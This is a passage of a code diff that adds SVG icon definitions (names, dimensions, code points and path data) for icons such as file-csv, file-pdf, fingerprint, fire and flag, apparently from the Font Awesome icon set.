15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-csv": [ 384, 512, [], "f6dd", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 104H160c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h12.27c5.95 0 10.41-3.5 10.41-6.62 0-1.3-.75-2.66-2.12-3.84l-21.89-18.77c-8.47-7.22-13.33-17.48-13.33-28.14 0-21.3 19.02-38.62 42.41-38.62H200c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-12.27c-5.95 0-10.41 3.5-10.41 6.62 0 1.3.75 2.66 2.12 3.84l21.89 18.77c8.47 7.22 13.33 17.48 13.33 28.14.01 21.29-19 38.62-42.39 38.62zM256 264v20.8c0 20.27 5.7 40.17 16 56.88 10.3-16.7 16-36.61 16-56.88V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v20.8c0 35.48-12.88 68.89-36.28 94.09-3.02 3.25-7.27 5.11-11.72 5.11s-8.7-1.86-11.72-5.11c-23.4-25.2-36.28-58.61-36.28-94.09V264c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8zm121-159L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-download": [ 384, 512, [], "f56d", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm76.45 211.36l-96.42 95.7c-6.65 6.61-17.39 6.61-24.04 0l-96.42-95.7C73.42 337.29 80.54 320 94.82 320H160v-80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v80h65.18c14.28 0 21.4 17.29 11.27 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-excel": [ 384, 512, [], "f1c3", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm60.1 106.5L224 336l60.1 93.5c5.1 8-.6 18.5-10.1 18.5h-34.9c-4.4 0-8.5-2.4-10.6-6.3C208.9 405.5 192 373 192 373c-6.4 14.8-10 20-36.6 68.8-2.1 3.9-6.1 6.3-10.5 6.3H110c-9.5 0-15.2-10.5-10.1-18.5l60.3-93.5-60.3-93.5c-5.2-8 .6-18.5 10.1-18.5h34.8c4.4 0 8.5 2.4 10.6 6.3 26.1 48.8 20 33.6 36.6 68.5 0 0 6.1-11.7 36.6-68.5 2.1-3.9 6.2-6.3 10.6-6.3H274c9.5-.1 15.2 10.4 10.1 18.4zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-export": [ 576, 512, [], "f56e", "M384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128zM571 308l-95.7-96.4c-10.1-10.1-27.4-3-27.4 11.3V288h-64v64h64v65.2c0 14.3 17.3 21.4 27.4 11.3L571 332c6.6-6.6 6.6-17.4 0-24zm-379 28v-32c0-8.8 7.2-16 16-16h176V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V352H208c-8.8 0-16-7.2-16-16z" ], + "file-image": [ 384, 512, [], "f1c5", "M384 121.941V128H256V0h6.059a24 24 0 0 1 16.97 7.029l97.941 97.941a24.002 24.002 0 0 1 7.03 16.971zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zm-135.455 16c26.51 0 48 21.49 48 48s-21.49 48-48 48-48-21.49-48-48 21.491-48 48-48zm208 240h-256l.485-48.485L104.545 328c4.686-4.686 11.799-4.201 16.485.485L160.545 368 264.06 264.485c4.686-4.686 12.284-4.686 16.971 0L320.545 304v112z" ], + "file-import": [ 512, 512, [], "f56f", "M16 288c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h112v-64zm489-183L407.1 7c-4.5-4.5-10.6-7-17-7H384v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H152c-13.3 0-24 10.7-24 24v264h128v-65.2c0-14.3 17.3-21.4 27.4-11.3L379 308c6.6 6.7 6.6 17.4 0 24l-95.7 96.4c-10.1 10.1-27.4 3-27.4-11.3V352H128v136c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H376c-13.2 0-24-10.8-24-24z" ], + "file-invoice": [ 384, 512, [], "f570", "M288 256H96v64h192v-64zm89-151L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm256 304c0 4.42-3.58 8-8 8h-80c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16zm0-200v96c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-96c0-8.84 7.16-16 16-16h224c8.84 0 16 7.16 16 16z" ], + "file-invoice-dollar": [ 384, 512, [], "f571", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 80v-16c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8zm144 263.88V440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-24.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V232c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v24.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.05 44.44-42.67 45.07z" ], + "file-medical": [ 384, 512, [], "f477", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 160v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8z" ], + "file-medical-alt": [ 448, 512, [], "f478", "M288 136V0H88C74.7 0 64 10.7 64 24v232H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h140.9c3 0 5.8 1.7 7.2 4.4l19.9 39.8 56.8-113.7c2.9-5.9 11.4-5.9 14.3 0l34.7 69.5H352c8.8 0 16 7.2 16 16s-7.2 16-16 16h-89.9L240 275.8l-56.8 113.7c-2.9 5.9-11.4 5.9-14.3 0L134.1 320H64v168c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H312c-13.2 0-24-10.8-24-24zm153-31L343.1 7c-4.5-4.5-10.6-7-17-7H320v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-pdf": [ 384, 512, [], "f1c1", "M181.9 256.1c-5-16-4.9-46.9-2-46.9 8.4 0 7.6 36.9 2 46.9zm-1.7 47.2c-7.7 20.2-17.3 43.3-28.4 62.7 18.3-7 39-17.2 62.9-21.9-12.7-9.6-24.9-23.4-34.5-40.8zM86.1 428.1c0 .8 13.2-5.4 34.9-40.2-6.7 6.3-29.1 24.5-34.9 40.2zM248 160h136v328c0 13.3-10.7 24-24 24H24c-13.3 0-24-10.7-24-24V24C0 10.7 10.7 0 24 0h200v136c0 13.2 10.8 24 24 24zm-8 171.8c-20-12.2-33.3-29-42.7-53.8 4.5-18.5 11.6-46.6 6.2-64.2-4.7-29.4-42.4-26.5-47.8-6.8-5 18.3-.4 44.1 8.1 77-11.6 27.6-28.7 64.6-40.8 85.8-.1 0-.1.1-.2.1-27.1 13.9-73.6 44.5-54.5 68 5.6 6.9 16 10 21.5 10 17.9 0 35.7-18 61.1-61.8 25.8-8.5 54.1-19.1 79-23.2 21.7 11.8 47.1 19.5 64 19.5 29.2 0 31.2-32 19.7-43.4-13.9-13.6-54.3-9.7-73.6-7.2zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-74.1 255.3c4.1-2.7-2.5-11.9-42.8-9 37.1 15.8 42.8 9 42.8 9z" ], + "file-powerpoint": [ 384, 512, [], "f1c4", "M193.7 271.2c8.8 0 15.5 2.7 20.3 8.1 9.6 10.9 9.8 32.7-.2 44.1-4.9 5.6-11.9 8.5-21.1 8.5h-26.9v-60.7h27.9zM377 105L279 7c-4.5-4.5-10.6-7-17-7h-6v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zm-153 31V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm53 165.2c0 90.3-88.8 77.6-111.1 77.6V436c0 6.6-5.4 12-12 12h-30.8c-6.6 0-12-5.4-12-12V236.2c0-6.6 5.4-12 12-12h81c44.5 0 72.9 32.8 72.9 77z" ], + "file-prescription": [ 384, 512, [], "f572", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm68.53 179.48l11.31 11.31c6.25 6.25 6.25 16.38 0 22.63l-29.9 29.9L304 409.38c6.25 6.25 6.25 16.38 0 22.63l-11.31 11.31c-6.25 6.25-16.38 6.25-22.63 0L240 413.25l-30.06 30.06c-6.25 6.25-16.38 6.25-22.63 0L176 432c-6.25-6.25-6.25-16.38 0-22.63l30.06-30.06L146.74 320H128v48c0 8.84-7.16 16-16 16H96c-8.84 0-16-7.16-16-16V208c0-8.84 7.16-16 16-16h80c35.35 0 64 28.65 64 64 0 24.22-13.62 45.05-33.46 55.92L240 345.38l29.9-29.9c6.25-6.25 16.38-6.25 22.63 0zM176 272h-48v-32h48c8.82 0 16 7.18 16 16s-7.18 16-16 16zm208-150.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + "file-signature": [ 576, 512, [], "f573", "M218.17 424.14c-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34c-6.37 12.78-25.03 11.37-29.48-2.09L144 386.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.75-16.19 54.06-9.7 66 14.16 1.89 3.78 5.49 5.95 9.36 6.26v-82.12l128-127.09V160H248c-13.2 0-24-10.8-24-24V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24v-40l-128-.11c-16.12-.31-30.58-9.28-37.83-23.75zM384 121.9c0-6.3-2.5-12.4-7-16.9L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1zm-96 225.06V416h68.99l161.68-162.78-67.88-67.88L288 346.96zm280.54-179.63l-31.87-31.87c-9.94-9.94-26.07-9.94-36.01 0l-27.25 27.25 67.88 67.88 27.25-27.25c9.95-9.94 9.95-26.07 0-36.01z" ], + "file-upload": [ 384, 512, [], "f574", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm65.18 216.01H224v80c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-80H94.82c-14.28 0-21.41-17.29-11.27-27.36l96.42-95.7c6.65-6.61 17.39-6.61 24.04 0l96.42 95.7c10.15 10.07 3.03 27.36-11.25 27.36zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z" ], + "file-video": [ 384, 512, [], "f1c8", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM224 136V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248c-13.2 0-24-10.8-24-24zm96 144.016v111.963c0 21.445-25.943 31.998-40.971 16.971L224 353.941V392c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V280c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v38.059l55.029-55.013c15.011-15.01 40.971-4.491 40.971 16.97z" ], + "file-word": [ 384, 512, [], "f1c2", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm57.1 120H305c7.7 0 13.4 7.1 11.7 14.7l-38 168c-1.2 5.5-6.1 9.3-11.7 9.3h-38c-5.5 0-10.3-3.8-11.6-9.1-25.8-103.5-20.8-81.2-25.6-110.5h-.5c-1.1 14.3-2.4 17.4-25.6 110.5-1.3 5.3-6.1 9.1-11.6 9.1H117c-5.6 0-10.5-3.9-11.7-9.4l-37.8-168c-1.7-7.5 4-14.6 11.7-14.6h24.5c5.7 0 10.7 4 11.8 9.7 15.6 78 20.1 109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" ], + fill: [ 512, 512, [], "f575", "M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z" ], + "fill-drip": [ 576, 512, [], "f576", "M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z" ], + film: [ 512, 512, [], "f008", "M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z" ], + filter: [ 512, 512, [], "f0b0", "M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z" ], + fingerprint: [ 512, 512, [], "f577", "M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z" ], + fire: [ 384, 512, [], "f06d", "M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z" ], + "fire-alt": [ 448, 512, [], "f7e4", "M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z" ], + "fire-extinguisher": [ 448, 512, [], "f134", "M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z" ], + "first-aid": [ 576, 512, [], "f479", "M0 80v352c0 26.5 21.5 48 48 48h48V32H48C21.5 32 0 53.5 0 80zm128 400h320V32H128v448zm64-248c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48zM528 32h-48v448h48c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z" ], + fish: [ 576, 512, [], "f578", "M327.1 96c-89.97 0-168.54 54.77-212.27 101.63L27.5 131.58c-12.13-9.18-30.24.6-27.14 14.66L24.54 256 .35 365.77c-3.1 14.06 15.01 23.83 27.14 14.66l87.33-66.05C158.55 361.23 237.13 416 327.1 416 464.56 416 576 288 576 256S464.56 96 327.1 96zm87.43 184c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24 13.26 0 24 10.74 24 24 0 13.25-10.75 24-24 24z" ], + "fist-raised": [ 384, 512, [], "f6de", "M255.98 160V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v146.93c5.02-1.78 10.34-2.93 15.97-2.93h48.03zm128 95.99c-.01-35.34-28.66-63.99-63.99-63.99H207.85c-8.78 0-15.9 7.07-15.9 15.85v.56c0 26.27 21.3 47.59 47.57 47.59h35.26c9.68 0 13.2 3.58 13.2 8v16.2c0 4.29-3.59 7.78-7.88 8-44.52 2.28-64.16 24.71-96.05 72.55l-6.31 9.47a7.994 7.994 0 0 1-11.09 2.22l-13.31-8.88a7.994 7.994 0 0 1-2.22-11.09l6.31-9.47c15.73-23.6 30.2-43.26 47.31-58.08-17.27-5.51-31.4-18.12-38.87-34.45-6.59 3.41-13.96 5.52-21.87 5.52h-32c-12.34 0-23.49-4.81-32-12.48C71.48 251.19 60.33 256 48 256H16c-5.64 0-10.97-1.15-16-2.95v77.93c0 33.95 13.48 66.5 37.49 90.51L63.99 448v64h255.98v-63.96l35.91-35.92A96.035 96.035 0 0 0 384 344.21l-.02-88.22zm-32.01-90.09V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v112h32c11.28 0 21.94 2.31 32 5.9zM16 224h32c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v128c0 8.84 7.16 16 16 16zm95.99 0h32c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v160c0 8.84 7.16 16 16 16z" ], + flag: [ 512, 512, [], "f024", "M349.565 98.783C295.978 98.783 251.721 64 184.348 64c-24.955 0-47.309 4.384-68.045 12.013a55.947 55.947 0 0 0 3.586-23.562C118.117 24.015 94.806 1.206 66.338.048 34.345-1.254 8 24.296 8 56c0 19.026 9.497 35.825 24 45.945V488c0 13.255 10.745 24 24 24h16c13.255 0 24-10.745 24-24v-94.4c28.311-12.064 63.582-22.122 114.435-22.122 53.588 0 97.844 34.783 165.217 34.783 48.169 0 86.667-16.294 122.505-40.858C506.84 359.452 512 349.571 512 339.045v-243.1c0-23.393-24.269-38.87-45.485-29.016-34.338 15.948-76.454 31.854-116.95 31.854z" ], + "flag-checkered": [ 512, 512, [], "f11e", "M243.2 189.9V258c26.1 5.9 49.3 15.6 73.6 22.3v-68.2c-26-5.8-49.4-15.5-73.6-22.2zm223.3-123c-34.3 15.9-76.5 31.9-117 31.9C296 98.8 251.7 64 184.3 64c-25 0-47.3 4.4-68 12 2.8-7.3 4.1-15.2 3.6-23.6C118.1 24 94.8 1.2 66.3 0 34.3-1.3 8 24.3 8 56c0 19 9.5 35.8 24 45.9V488c0 13.3 10.7 24 24 24h16c13.3 0 24-10.7 24-24v-94.4c28.3-12.1 63.6-22.1 114.4-22.1 53.6 0 97.8 34.8 165.2 34.8 48.2 0 86.7-16.3 122.5-40.9 8.7-6 13.8-15.8 13.8-26.4V95.9c.1-23.3-24.2-38.8-45.4-29zM169.6 325.5c-25.8 2.7-50 8.2-73.6 16.6v-70.5c26.2-9.3 47.5-15 73.6-17.4zM464 191c-23.6 9.8-46.3 19.5-73.6 23.9V286c24.8-3.4 51.4-11.8 73.6-26v70.5c-25.1 16.1-48.5 24.7-73.6 27.1V286c-27 3.7-47.9 1.5-73.6-5.6v67.4c-23.9-7.4-47.3-16.7-73.6-21.3V258c-19.7-4.4-40.8-6.8-73.6-3.8v-70c-22.4 3.1-44.6 10.2-73.6 20.9v-70.5c33.2-12.2 50.1-19.8 73.6-22v71.6c27-3.7 48.4-1.3 73.6 5.7v-67.4c23.7 7.4 47.2 16.7 73.6 21.3v68.4c23.7 5.3 47.6 6.9 73.6 2.7V143c27-4.8 52.3-13.6 73.6-22.5z" ], + "flag-usa": [ 512, 512, [], "f74d", "M32 0C14.3 0 0 14.3 0 32v464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32C64 14.3 49.7 0 32 0zm267.9 303.6c-57.2-15.1-111.7-28.8-203.9 11.1V384c185.7-92.2 221.7 53.3 